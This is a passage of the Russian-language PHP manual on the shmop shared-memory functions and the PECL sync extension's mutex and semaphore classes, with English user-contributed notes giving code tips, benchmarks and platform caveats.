        updatestats($shm_bytes_written, "add");
        if($shm_bytes_written != $fsize) {
                return false;
        }else{
            return $shm_bytes_written;
        }//fi
    }
    function readmem($shmkey, $shm_size){
        $my_string = @shmop_read($shmkey, 0, $shm_size);
        if(MEMCOMPRESS && function_exists('gzuncompress')){
            $my_string = @gzuncompress($my_string);
        }
        if(!$my_string) {
                return false;
        }else{
            return $my_string;
        }//fi
    }
    function deletemem($shmkey){
        $size = @shmop_size($shmkey);
        if($size > 0){ updatestats($size, "del"); }
        if(!@shmop_delete($shmkey)) {
            @shmop_close($shmkey);
                return false;
        }else{
            @shmop_close($shmkey);
            return true;
        }
    }
    function closemem($shmkey){
        if(!shmop_close($shmkey)) {
                return false;
        }else{
            return true;
        }
    }
    function iskey($size, $key){
        if($ret = get_key($size, $key)){
            return $ret;
        }else{
            return false;
        }
    }
################################################
?>
Roy <roy AT enhost.com> 28-Jan-2006 09:58
I have written a script to highlight the superiority of shared memory storage.
Although it doesn't use the shmop function, the underlying concept is similar.
'/shm_dir/' is a tmpfs directory, which is based on shared memory, that I have mounted on the server.

Below is the result on an Intel Pentium VI 2.8 server:

IO test on 1000 files
IO Result of Regular Directory : 0.079015016555786
IO Result of Shared Memory Directory : 0.047761917114258

IO test on 10000 files
IO Result of Regular Directory : 3.7090260982513
IO Result of Shared Memory Directory : 0.46256303787231

IO test on 40000 files
IO Result of Regular Directory : 117.35703110695 seconds
IO Result of Shared Memory Directory : 2.6221358776093 seconds

The difference is not very apparent nor convincing at 100 files.
But when we step it up a level to 10000 and 40000 files, it becomes pretty obvious that Shared Memory is a better contender.

Script courtesy of http://www.enhost.com

<?php
set_time_limit(0);

// Your regular directory. Make sure it is write enabled
$setting['regular_dir'] =  '/home/user/regular_directory/';

// Your shared memory directory.
$setting['shm_dir'] =  '/shm_dir/';

// Number of files to read and write
$setting['files'] =  40000;

function IO_Test($mode)
{
    $starttime = time()+microtime();

    global $setting;

        for($i = 0 ; $i< $setting['files'] ;$i++)
        {
            $filename = $setting[$mode].'test'.$i.'.txt';
            $content = "Just a random content";

                // Just some error detection
               if (!$handle = fopen($filename, 'w+'))
               {
                     echo "Can't open the file ".$filename;
                     exit;
               }

               if (fwrite($handle, $content ) === FALSE)
               {
                   echo "Can't write to file : ".$filename;
                   exit;
               }

               fclose($handle);

            // Read Test
            file_get_contents($filename);

        }

   $endtime = time()+microtime();

   $totaltime = ($endtime - $starttime);

   return $totaltime;

}

echo '<b>IO test on '.$setting['files']. ' files</b><br>';
echo 'IO Result of <b>Regular</b> Directory : '.IO_Test('regular_dir')   .' seconds<br>';
echo 'IO Result of <b>Shared Memory</b> Directory : '.IO_Test('shm_dir')       .' seconds<br>';

/* Removal of files to avoid underestimation
#
#         Failure to remove files will result in inaccurate benchmark
#         as it will result in the IO_Test function not re-creating the existing files
*/
    foreach ( glob($setting['regular_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }
    foreach ( glob($setting['shm_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }

?>
hackie at prohost dot org 26-Sep-2005 09:33
It's not the job of the shmop extension to provide locking, there are many locking schemes avalible, if you need some sort of atomic operations choose a locking scheme that suits you and use it.
Craig Manley 06-Jan-2005 03:19
Since there is no mention of the (lack of) need for locking here, I took a look into the shmop.c extensions code. So correct me if I'm wrong, but the shmop.c extension uses memcpy() to copy strings to and from shared memory without any form of locking, and as far as I know, memcpy() is not atomic.

If that's true as I suspect, then these 'easy to use' functions are not so 'easy to use' any more and have to be wrapped in locks (e.g. semaphores, flocks, whatever).
stoimenov at email dot com 23-Jul-2002 05:18
Windows does support shared memory through memory mapped file. Check the following functions for details:

 * CreateFileMapping
 * MapViewOfFile
rei at prohost dot org 11-Jan-2001 03:16
The idea behind SHMOP is an easy to use shared memory interface,
without any additional headers added to the shared memory segment
or requiring any special special controls to access the shared memory
segment outside of PHP. SHMOP borrows its api from C's api to shm,
which makes it very easy to use, because it treats shared memory, like C, as
a file of sorts. This makes it very easy to use even for novices, due to this
functionality. Most importantly SHMOP uses shm segments to store raw data,
which means you don't need to worry about matching headers, etc... when you are
using C, perl or other programming languages to open/create/read/write shm segments
that were create or are going to be used by PHP. In this it differs from
sysvshm, who's shm interface uses a specialized header, which resides inside
the shared memory segment this adds an unnecessary level of difficulty when
you want to access php shm from external programs.
Also, from my personal tests in Linux 2.2/2.4 and FreeBSD 3.3 SHMOP is about
20% faster then sysvshm, mostly due to fact it does not need to parse the
specialized header and stores the data in raw form.
slavapl at mailandnews dot com 11-Jan-2001 03:02
What you need to realise is that sysvshm is extremly php oriented in it's ability, it's quite a kludge interfacing other NON PHP utilities with it. For example have you tried using sysvshm to read an shm segment NOT created by php? It's not possible, because sysvshm uses a proprietry format, in essense it can ONLY be used within PHP unless of course you take time to figure out this format.
So basically, the purpose of shmop is to provide a symple interface to shared memory that can be used with OTHER NON php shm creators.

Hope this clears it up.


Закрытие блока разделяемой памяти

  • « Разделяемая (shared) память
  • shmop_delete »
  • PHP Manual
  • Разделяемая (shared) память
  • Закрытие блока разделяемой памяти

shmop_close

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_close — Закрытие блока разделяемой памяти

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

shmop_close(Shmop $shmop): void

Замечание:

Использование функции больше не имеет смысла. До PHP 8.0.0 она использовалась для закрытия ресурса.

shmop_close() используется для завершения доступа к блоку разделяемой памяти.

Список параметров

shmop

Ресурс блока памяти, возвращаемый функцией shmop_open()

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | Параметр shmop ожидает экземпляр Shmop; ранее ожидался ресурс (resource).

Примеры

Пример #1 Закрытие блока разделяемой памяти

<?php
shmop_close($shm_id);
?>

В данном примере прекращается доступ к блоку памяти, имеющему идентификатор $shm_id.

Смотрите также

  • shmop_open() - Резервирование или использование блока разделяемой памяти

User Contributed Notes

shortboi 07-Sep-2021 11:58
As explained on this page, PHP 8.0.0 expects a Shmop instance instead of a resource. According to bug #81098 this change means that the Shmop closes itself when the script completes so there is no need to close it with shmop_close.

Using function_exists('shmop_close') will return true but calling shmop_close will throw a deprecation error.

The documentation explains the change in 8.0.0 expects the expected argument changed without mentioning it'll just throw a deprecation error.
slavapl at mailandnews dot com 02-May-2001 12:31
shmop_close doesn't delete the memory segment, it just detaches from it.

If you have created the block and need to delete it you must call shmop_delete **BEFORE** calling shmop_close (for reasons outlined in shmop_delete help page notes).


Удаление блока разделяемой памяти

  • « shmop_close
  • shmop_open »
  • PHP Manual
  • Разделяемая (shared) память
  • Удаление блока разделяемой памяти

shmop_delete

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_delete — Удаление блока разделяемой памяти

Описание

shmop_delete(Shmop $shmop): bool

shmop_delete() используется для удаления блока разделяемой памяти.

Список параметров

shmop

Ресурс блока памяти, возвращаемый функцией shmop_open()

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр shmop ожидает экземпляр Shmop; ранее ожидался ресурс (resource).

Примеры

Пример #1 Удаление блока разделяемой памяти

<?php
shmop_delete($shm_id);
?>

В приведённом примере показано удаление блока разделяемой памяти, имеющего идентификатор $shm_id.

User Contributed Notes

lizzy 12-Oct-2004 07:19
A helpful hint, although when using shmop on windows (yes you can use shmop on windows in IIS or Apache when used as isapi/module) you can delete a segment and later open a new segment with the SAME KEY in the same script no problem, YOU CANNOT IN LINUX/UNIX - the segment will still exist - it's not immediately deleted - but will be marked for deletion and you'll get errors when trying to create the new one - just a reminder.


Резервирование или использование блока разделяемой памяти

  • « shmop_delete
  • shmop_read »
  • PHP Manual
  • Разделяемая (shared) память
  • Резервирование или использование блока разделяемой памяти

shmop_open

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_open — Резервирование или использование блока разделяемой памяти

Описание

shmop_open(
int $key,
string $mode,
int $permissions,
int $size
): Shmop|false

shmop_open() резервирует или использует существующий блок разделяемой памяти.

Список параметров

key

Системный идентификатор блока разделяемой памяти. Может быть задан в десятичной или шестнадцатеричной кодировке.

mode

Доступные для использования флаги:

  • "a" для доступа (устанавливает флаг SHM_RDONLY) Следует применять этот флаг, когда необходимо использовать ранее зарезервированный участок разделяемой памяти, уже содержащий какие-либо данные. В этом случае доступ возможен только для операций чтения.
  • "c" для резервирования (устанавливает флаг IPC_CREATE) Следует применять этот флаг для создания нового зарезервированного участка разделяемой памяти. Если участок памяти с таким идентификатором уже существует, выполняется попытка доступа к нему для последующих операций чтения и записи.
  • "w" для выполнения операций чтения и записи Следует применять этот флаг для чтения и записи данных, хранимых в разделяемой памяти. Данный флаг используется в большинстве случаев.
  • "n" для создания в памяти нового сегмента (устанавливает флаг IPC_CREATE|IPC_EXCL) Следует применять этот флаг для создания нового сегмента в разделяемой памяти, но если сегмент уже существует с тем же флагом, происходит отказ. Это полезно в целях безопасности, т.к. позволяет избежать ошибок синхронизации (Race condition exploits).

permissions

Права доступа к участку памяти такие же, как к обычному файлу. Их можно указывать в восьмеричном виде, например 0644.

size

Размер резервируемого блока в разделяемой памяти в байтах

Замечание:

Обратите внимание: третий и четвёртый параметры должны быть указаны как 0, если необходимо получить доступ к существующему участку памяти.

Возвращаемые значения

В случае успешного выполнения shmop_open() возвращает экземпляр Shmop, который может быть в дальнейшем использован для доступа к зарезервированному участку памяти. В случае возникновения ошибки возвращает false.

Ошибки

Если параметр mode указан некорректно или параметр size меньше или равен нулю, выдаётся ошибка ValueError. В случае возникновения других ошибок выдаётся ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения возвращается экземпляр Shmop; ранее возвращался ресурс (resource).
8.0.0 | Если параметр mode указан некорректно или параметр size меньше или равен нулю, выдаётся ошибка ValueError. previously E_WARNING was emitted instead, ранее вместо этого выдавалась ошибка уровня E_WARNING и функция возвращала false.

Примеры

Пример #1 Резервирование участка разделяемой памяти

<?php
$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
?>

В приведённом примере выполняется доступ к блоку с идентификатором, возвращаемым функцией ftok().

Смотрите также

  • shmop_close() - Закрытие блока разделяемой памяти
  • shmop_delete() - Удаление блока разделяемой памяти

User Contributed Notes

kakkau at grr dot la 14-Dec-2017 06:39
One is not able to reconnect to a segment with key 0. For any other key (e.g. 1) the flags just work fine.

php > $soid = shmop_open(0,"n",0600,10);
php > $soid = shmop_open(0,"w",0600,10);
PHP Warning:  shmop_open(): unable to attach or create shared memory segment 'Invalid argument' in php shell code on line 1
PHP Stack trace:
PHP   1. {main}() php shell code:0
PHP   2. shmop_open(0, 'w', 384, 10) php shell code:1
kakkau at grr dot la 04-Apr-2016 08:54
On *nix systems shmop_open is able to create an "infinite" amount of segments when setting $key = 0.

After executing the following command twice in an interactive shell
php > $res = shmop_open(0,"n",0600,1024);

list the memory segments currently present
$ ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x00000000 2293762    user       600        1024       0
0x00000000 2326531    user       600        1024       0

For any integer <> 0 in conjunction with the flag "n" shmop_open works like documented. It fails.
Colin Paterson 17-Sep-2015 08:14
If you are running your main script as say user "root" but need to open a Shared Memory Segment as another user (from your main script) such as say "www-data" then this works:

exec("sudo -u www-data php -r 'shmop_open(0xee4, "c", 0770, 100);'"); //Create Shared Memory segment as USER www-data

$SharedMemorySegment = shmop_open(0xee4, "c", 0770, 100);
        if (!$SharedMemorySegment) {
            echo "Couldn't create shared memory segment\n";
        }
Filippo Fadda 27-Feb-2015 05:37
I'm having the same issue affecting XP and described below, on Mac OS X Lion.

To solve it, use before 'a' flag, then 'n'. Avoid 'c' flag.

<?php
$str = 'Hello World';

shm_key = ftok($_SERVER['PHP_SELF']);

if (@$shm_id = shmop_open($shm_key, 'a', 0644, 0))
  shmop_delete($shm_id);

$shm_id = shmop_open($shm_key, 'n', 0644, strlen($str));

if ($shmId) {
  shmop_write($shmId, $str, 0);
  shmop_close($shmId);
}
else
  throw new RuntimeException("Couldn't create shared memory segment.");
?>
thanks at forthefish dot com 28-Oct-2013 06:24
These shared memory functions are kind of silly on Windows where sem_get() and friends nor any sort of synchronization object is available (as of PHP 5.5.5) to perform proper locking prior to access.  A core PHP dev needs to write some wrappers for sem_get() for Windows as they did for shmop to really round out this feature.

The implementation of shmop for Windows is pretty slick - the author basically ported variations of POSIX functions to Windows equivalent prototypes.
erelsgl at gmail dot com 27-Nov-2007 03:04
=== Checking if a shared memory exists ===
The solution provided by Mitchell_Shnier at ieee dot orgZ doesn't work on my computer - I get a warning "Invalid flag ac".

In order to check if a shared-memory exists, you just have to open it with the "a" or "w" flag, while hiding the warnings using the "@" operator:
<?php
@$shid = shmop_open($systemId, "a", 0666, 0);
if (!empty($shid)) {
            ... shared memory exists
} else {
            ... shared memory doesn't exist
}
?>
Craig Manley 05-Jan-2005 05:19
To: macmaster at pobox dot com:

To clear up some new confusion: you said the shm key is 8 bytes long. As far as I know it's 4 bytes (32bits).
Check out the output of ipcs on Linux below to see what I mean.

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x6e6a694d 65538      mijnbel   644        65536      0
0x326e794d 98307      mijnbel   644        65536      0
0x62417347 131076     smsklap   644        65536      0
daniele_dll at yahoo dot it 01-Feb-2004 01:28
There is a little ftok function. This function isn't included into php for windows so i've grabbed it directly from linux glibc 2.3.2 source code. I hope that this can be useful.
There is the code:

<?php
function ftok($pathname, $proj_id) {
    $st = @stat($pathname);
    if (!$st) {
        return -1;
    }

    $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
    return $key;
}

echo ftok($_SERVER["SCRIPT_FILENAME"], 250);
?>

sorry for my english :)
Chris Petersen 28-Aug-2003 11:18
Be warned that if you try to shmop_open with a key set to zero, shmop_open will seemingly work, and you can write to it, but you will not be able to read from it or delete it.  If you're not careful, you can continue doing this - creating more and more shared memory blocks at "zero" until eventually you WILL start getting errors saying that php can't access or create the shared memory block, and you will have to restart your machine to free up all of those "zero" blocks.


Чтение данных из участка разделяемой памяти

  • « shmop_open
  • shmop_size »
  • PHP Manual
  • Разделяемая (shared) память
  • Чтение данных из участка разделяемой памяти

shmop_read

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_read — Чтение данных из участка разделяемой памяти

Описание

shmop_read(Shmop $shmop, int $offset, int $size): string

shmop_read() возвращает строковые данные, хранимые в участке разделяемой памяти.

Список параметров

shmop

Ресурс блока памяти, возвращаемый функцией shmop_open()

offset

Смещение, с которого начинается чтение; должно быть больше или равно нулю и меньше или равно фактическому размеру сегмента разделяемой памяти.

size

Количество байтов для чтения; должно быть больше или равно нулю, а сумма offset и size должна быть меньше или равна фактическому размеру сегмента разделяемой памяти. 0 считывает байты shmop_size($shmid) - $start.

Возвращаемые значения

Возвращает строковые данные или false в случае возникновения ошибки.

Ошибки

Если параметр offset или size находятся вне допустимого диапазона, выбрасывается исключение ValueError.

Список изменений

Версия | Описание
8.0.0 | Параметр shmop ожидает экземпляр Shmop; ранее ожидался ресурс (resource).
8.0.0 | Если параметр offset или size находятся вне допустимого диапазона, выбрасывается исключение ValueError; ранее выдавалась ошибка уровня E_WARNING и функция возвращала значение false.

Примеры

Пример #1 Чтение данных из участка разделяемой памяти

<?php
$shm_data = shmop_read($shm_id, 0, 50);
?>

В приведённом примере выполняется чтение 50 байт из участка разделяемой памяти (идентифицируемого по $shm_id) и размещение в $shm_data.

Смотрите также

  • shmop_write() - Запись данных в разделяемую память

User Contributed Notes

michael dot wuertz at six dot de 02-Jun-2021 05:44
With shmop_read, you probably get a "\0" - padded string.

$zero_padded = shmop_read($shm_seg, 0, 128);

$usable_string = rtrim($zero_padded, "\0");
Milan Cvejic 18-Feb-2009 01:35
You should always serialize data written in shared memory.
And when you are reading data you should always unserialize.

<?php

$data = 'test';
$shm_bytes_written = shmop_write($shm_id, serialize($data), 0);
$shm_data = unserialize(shmop_read($shm_id, 0, $shm_bytes_written));
?>
Craig Manley 07-Jan-2005 02:19
shmop_read() reads and returns the whole memory segment's data. This is not useful if you're just working with strings. If you need to read a string from shared memory, call str_from_mem() on the result of shmop_read(). Similarly when writing strings to memory (instead of binary data), null terminate your strings with str_to_nts() before passing the value on to shmop_write().

function str_to_nts($value) {
  return "$value\0";
}

function str_from_mem(&$value) {
  $i = strpos($value, "\0");
  if ($i === false) {
    return $value;
  }
  $result =  substr($value, 0, $i);
  return $result;
}
slavapl at mailandnews dot com 02-May-2001 12:15
Also you can use the shmop_size() function to determine the block size.
macmaster at pobox dot com 30-Mar-2001 12:01
When i need to read the whole string at that shm pointer, setting the count parameter to zero (0) seems work for me.


Возвращает размер блока в разделяемой памяти

  • « shmop_read
  • shmop_write »
  • PHP Manual
  • Разделяемая (shared) память
  • Возвращает размер блока в разделяемой памяти

shmop_size

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_size — Возвращает размер блока в разделяемой памяти

Описание

shmop_size(Shmop $shmop): int

shmop_size() используется для получения размера блока разделяемой памяти в байтах.

Список параметров

shmop

Ресурс блока памяти, возвращаемый функцией shmop_open()

Возвращаемые значения

Результатом является целое число, отражающее количество байт, зарезервированных в разделяемой памяти для конкретного блока.

Список изменений

Версия | Описание
8.0.0 | Параметр shmop ожидает экземпляр Shmop; ранее ожидался ресурс (resource).

Примеры

Пример #1 Получение размера блока разделяемой памяти

<?php
$shm_size = shmop_size($shm_id);
?>

В приведённом примере показано получение размера блока с идентификатором $shm_id и его сохранение в $shm_size.

User Contributed Notes

There are no user contributed notes for this page.


Запись данных в разделяемую память

  • « shmop_size
  • Shmop »
  • PHP Manual
  • Разделяемая (shared) память
  • Запись данных в разделяемую память

shmop_write

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_write — Запись данных в разделяемую память

Описание

shmop_write(Shmop $shmop, string $data, int $offset): int

shmop_write() записывает строковые данные в участок разделяемой памяти.

Список параметров

shmop

Ресурс блока памяти, возвращаемый функцией shmop_open()

data

Строковые данные для размещения в памяти

offset

Определяет, в каком месте участка памяти следует начать запись данных. Смещение должно быть больше или равно нулю и меньше или равно фактическому размеру сегмента разделяемой памяти.

Возвращаемые значения

Размер записанных данных, переданных через параметр data.

Ошибки

Если параметр offset находится вне диапазона или в сегмент разделяемой памяти, доступный только для чтения, должна быть произведена запись, будет выброшена ошибка ValueError.

Список изменений

Версия | Описание
8.0.0 | До PHP 8.0.0 в случае возникновения ошибки возвращалось false.
8.0.0 | Параметр shmop ожидает экземпляр Shmop; ранее ожидался ресурс (resource).

Примеры

Пример #1 Запись данных в участок разделяемой памяти

<?php
$shm_bytes_written = shmop_write($shm_id, $my_string, 0);
?>

В данном примере в память помещается содержимое строковой переменной $my_string, после чего переменная $shm_bytes_written будет содержать размер фактически записанных данных.

Смотрите также

  • shmop_read() - Чтение данных из участка разделяемой памяти

User Contributed Notes

mark at manngo dot net 07-Dec-2022 07:55
On thing you might want to do is replace an old string with a shorter one, or to clear out the string altogether.

To replace the string, you can zero-byte pad the string you are writing:

<?php
    //    $shmid is from shmop_open()
    $size = 128;
    $string = 'something';

    //    write
        $string = str_pad(string, $size, "\0");
        shmop_write($shmid, $string, 0);

    //    read
        print rtrim(shmop($shmid,0,0),,"\0");

    //    clear
        $string = str_repeat("\0",$size);
        shmop_write($shmid, $string, 0);
?>
radupb at yahoo dot com 30-Nov-2020 09:13
I guess pack-unpack are the handy functions for encoding/decoding data as/from a binary string for shmop_write/shmop_read. Example:

$format='LLLLSSCCCC';  //data format for pack
$key=1;
if( !($shmid=shmop_open($key,'n',0660,30)) )
  die('shmop_open failed.');

//my data to encode:
$hd=array('ALIVE1'=>1,'ALIVE2'=>2,'ALIVE3'=>3,'ALIVE4'=>4,
      'CRTPTR'=>5,'CRTSEQ'=>6,
      'CTW'=>7,'LOCK'=>8,'PLAY'=>9,'MISS'=>10
);

$tmp=pack( $format, $hd['ALIVE1'],$hd['ALIVE2'],$hd['ALIVE3'],$hd['ALIVE4'],  $hd['CRTPTR'],$hd['CRTSEQ'],$hd['CTW'],$hd['LOCK'],$hd['PLAY'],$hd['MISS'] );

if( ($w=shmop_write($shmid,$tmp,0))!=24 )
  die('write error $w='.$w);

And reading from some other process:
$key=1;
if( !($shmid=shmop_open($key,'w',0,0)) )
  die('shmop_open failed.');

$formatR='L4ALIVE/SCRTPTR/SCRTSEQ/CCTW/CLOCK/CPLAY/CMISS'; //data format for unpack

$hd=unpack( $formatR, shmop_read( $shmid,0,24) );
echo'hd:<pre>';print_r($hd);echo'</pre>';


Класс Shmop

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы shmop в PHP 8.0.0.

Обзор классов

final class Shmop {
}

User Contributed Notes

There are no user contributed notes for this page.


Sync

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • SyncMutex — Класс SyncMutex
    • SyncMutex::__construct — Создаёт новый объект SyncMutex
    • SyncMutex::lock — Ждёт эксклюзивной блокировки
    • SyncMutex::unlock — Разблокирует мьютекс
  • SyncSemaphore — Класс SyncSemaphore
    • SyncSemaphore::__construct — Создаёт новый объект SyncSemaphore
    • SyncSemaphore::lock — Уменьшает счёт семафора или ждёт
    • SyncSemaphore::unlock — Увеличивает счёт семафора
  • SyncEvent — Класс SyncEvent
    • SyncEvent::__construct — Создаёт новый объект SyncEvent
    • SyncEvent::fire — Запускает/устанавливает событие
    • SyncEvent::reset — Сбрасывает ручное событие
    • SyncEvent::wait — Ожидает запуска/установки события
  • SyncReaderWriter — Класс SyncReaderWriter
    • SyncReaderWriter::__construct — Создаёт новый объект SyncReaderWriter
    • SyncReaderWriter::readlock — Ожидает блокировки чтения
    • SyncReaderWriter::readunlock — Снимает блокировку чтения
    • SyncReaderWriter::writelock — Ожидает эксклюзивной блокировки записи
    • SyncReaderWriter::writeunlock — Снимает блокировку записи
  • SyncSharedMemory — Класс SyncSharedMemory
    • SyncSharedMemory::__construct — Создаёт новый объект SyncSharedMemory
    • SyncSharedMemory::first — Проверяет, является ли объект первым общесистемным экземпляром именованной разделяемой памяти
    • SyncSharedMemory::read — Копирует данные из именованной разделяемой памяти
    • SyncSharedMemory::size — Возвращает размер именованной разделяемой памяти
    • SyncSharedMemory::write — Копирует данные в именованную разделяемую память

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль 'sync' вводит кроссплатформенные объекты синхронизации в PHP. Именованные и безымянные объекты Mutex, Semaphore, Event, Reader-Writer и именованная общая память обеспечивают синхронизацию на уровне ОС как на платформах POSIX (например, Linux), так и на платформах Windows.

Автоматическая очистка полученных объектов синхронизации происходит во время демонтажа модуля. Это означает, что если PHP преждевременно завершает выполнение скрипта (например, превышено время выполнения скрипта), объекты не останутся в неизвестном состоянии. Единственное исключение из этого - случай сбоя самого PHP (например, переполнение внутреннего буфера).

Безымянные объекты синхронизации не имеют большого применения вне многопоточного сценария. Безымянные объекты более полезны в сочетании с модулем pthreads PECL.

Замечание:

Именованные объекты требуют дополнительного ухода для использования во всех системах. Если объект создаётся с определённым набором параметров, он всегда должен создаваться с этими параметрами, иначе объект может оказаться в несовместимом состоянии до следующей перезагрузки или пока системный администратор не исправит беспорядок.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Система с поддержкой общей памяти POSIX (shm_open()) или под управлением Windows.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/sync.

User Contributed Notes

There are no user contributed notes for this page.


Класс SyncMutex

(PECL sync >= 1.0.0)

Введение

Кроссплатформенная, нативная реализация именованных и безымянных счётных объектов мьютекса.

Мьютекс - это объект взаимного исключения, который ограничивает доступ к общему ресурсу (например, файлу) для одного экземпляра. Счётные мьютексы получают мьютекс один раз и внутренне отслеживают, сколько раз мьютекс был заблокирован. Мьютекс разблокируется, как только он выходит из области действия или разблокируется столько раз, сколько он был заблокирован.

Обзор классов

class SyncMutex {
/* Методы */
public __construct(string $name = ?)
public lock(int $wait = -1): bool
public unlock(bool $all = false): bool
}

Содержание

  • SyncMutex::__construct — Создаёт новый объект SyncMutex
  • SyncMutex::lock — Ждёт эксклюзивной блокировки
  • SyncMutex::unlock — Разблокирует мьютекс

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект SyncMutex

  • « SyncMutex
  • SyncMutex::lock »
  • PHP Manual
  • SyncMutex
  • Создаёт новый объект SyncMutex

SyncMutex::__construct

(PECL sync >= 1.0.0)

SyncMutex::__construct — Создаёт новый объект SyncMutex

Описание

public SyncMutex::__construct(string $name = ?)

Создаёт именованный или безымянный счётный мьютекс.

Список параметров

name

Имя мьютекса, если это именованный объект мьютекса.

Замечание:

Если имя уже существует, оно должно быть доступно для открытия текущим пользователем, от имени которого запущен процесс, иначе будет выброшено исключение с бессмысленным сообщением об ошибке.

Возвращаемые значения

Новый объект SyncMutex.

Ошибки

Если мьютекс не может быть создан или открыт, выбрасывается исключение.

Примеры

Пример #1 Пример использования SyncMutex::__construct() для создания именованного мьютекса со временем ожидания

<?php
$mutex = new SyncMutex("UniqueName");

if (!$mutex->lock(3000))
{
echo "Невозможно создать мьютеккс.";

exit();
}

/* ... */

$mutex->unlock();
?>

Пример #2 Пример использования SyncMutex::__construct() для создания безымянного мьютекса

<?php
$mutex = new SyncMutex();

$mutex->lock();

/* ... */

$mutex->unlock();
?>

Смотрите также

  • SyncMutex::lock() - Ждёт эксклюзивной блокировки
  • SyncMutex::unlock() - Разблокирует мьютекс

User Contributed Notes

There are no user contributed notes for this page.


Ждёт эксклюзивной блокировки

  • « SyncMutex::__construct
  • SyncMutex::unlock »
  • PHP Manual
  • SyncMutex
  • Ждёт эксклюзивной блокировки

SyncMutex::lock

(PECL sync >= 1.0.0)

SyncMutex::lock — Ждёт эксклюзивной блокировки

Описание

public SyncMutex::lock(int $wait = -1): bool

Получает эксклюзивную блокировку объекта SyncMutex. Если блокировка уже установлена, внутренний счётчик увеличивается.

Список параметров

wait

Количество миллисекунд ожидания эксклюзивной блокировки. Значение -1 означает бесконечное время ожидания.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncMutex::lock()

<?php
$mutex = new SyncMutex("UniqueName");

if (!$mutex->lock(3000))
{
echo "Невозможно заблокировать мьютекс.";

exit();
}

/* ... */

$mutex->unlock();
?>

Смотрите также

  • SyncMutex::unlock() - Разблокирует мьютекс

User Contributed Notes

There are no user contributed notes for this page.


Разблокирует мьютекс

  • « SyncMutex::lock
  • SyncSemaphore »
  • PHP Manual
  • SyncMutex
  • Разблокирует мьютекс

SyncMutex::unlock

(PECL sync >= 1.0.0)

SyncMutex::unlock — Разблокирует мьютекс

Описание

public SyncMutex::unlock(bool $all = false): bool

Уменьшает внутренний счётчик объекта SyncMutex. Когда внутренний счётчик достигает нуля, фактическая блокировка объекта снимается.

Список параметров

all

Определяет, устанавливать ли внутренний счётчик на ноль и, следовательно, снимать блокировку.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SyncMutex::unlock()

<?php
$mutex = new SyncMutex("UniqueName");

$mutex->lock();

/* ... */

$mutex->unlock();
?>

Смотрите также

  • SyncMutex::lock() - Ждёт эксклюзивной блокировки

User Contributed Notes

npelov at croler dot net 10-May-2020 09:18
If the php process dies unexpectedly (on linux) the lock will remain with no option to remove it. unlock() will not work if the lock is being held by other process. SyncMutex uses shared mem. in that case you can delete the shared memory object in /dev/shm. To list the objects:

ls /dev/shm/Sync_Mutex*

Keep in mind that objects remain there even after unlocking. So if you use lots of random mutex names then the number of these objects will grow and and you might want to cleanup at some point

Example sync.php:
<?php

$s = new SyncMutex("mymutex");

if(!$s->lock()){
  echo "cannot lock\n";
  exit;
}
echo "locked\n";
sleep(10);
$s->unlock();
echo "unlocked\n";
?>

then run:

php -f sync.php

and press ctrl-c. If you run it again it won't lock. So what you can do is:

rm -f /dev/shm/Sync_Mutex-*-mymutex

Then run it again - it'll lock again


Класс SyncSemaphore

(PECL sync >= 1.0.0)

Введение

Кроссплатформенная, нативная реализация именованных и безымянных объектов семафоров.

Семафор ограничивает доступ к ограниченному ресурсу ограниченным числом экземпляров. Семафоры отличаются от мьютексов тем, что они могут разрешить доступ к ресурсу более чем одному экземпляру одновременно, в то время как мьютекс допускает только один экземпляр за раз.

Обзор классов

class SyncSemaphore {
/* Методы */
public __construct(string $name = ?, int $initialval = 1, bool $autounlock = true)
public lock(int $wait = -1): bool
public unlock(int &$prevcount = ?): bool
}

Содержание

  • SyncSemaphore::__construct — Создаёт новый объект SyncSemaphore
  • SyncSemaphore::lock — Уменьшает счёт семафора или ждёт
  • SyncSemaphore::unlock — Увеличивает счёт семафора

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект SyncSemaphore

  • « SyncSemaphore
  • SyncSemaphore::lock »
  • PHP Manual
  • SyncSemaphore
  • Создаёт новый объект SyncSemaphore

SyncSemaphore::__construct

(PECL sync >= 1.0.0)

SyncSemaphore::__construct — Создаёт новый объект SyncSemaphore

Описание

public SyncSemaphore::__construct(string $name = ?, int $initialval = 1, bool $autounlock = true)

Создаёт именованный или безымянный семафор.

Список параметров

name

Имя семафора, если это именованный объект семафора.

Замечание:

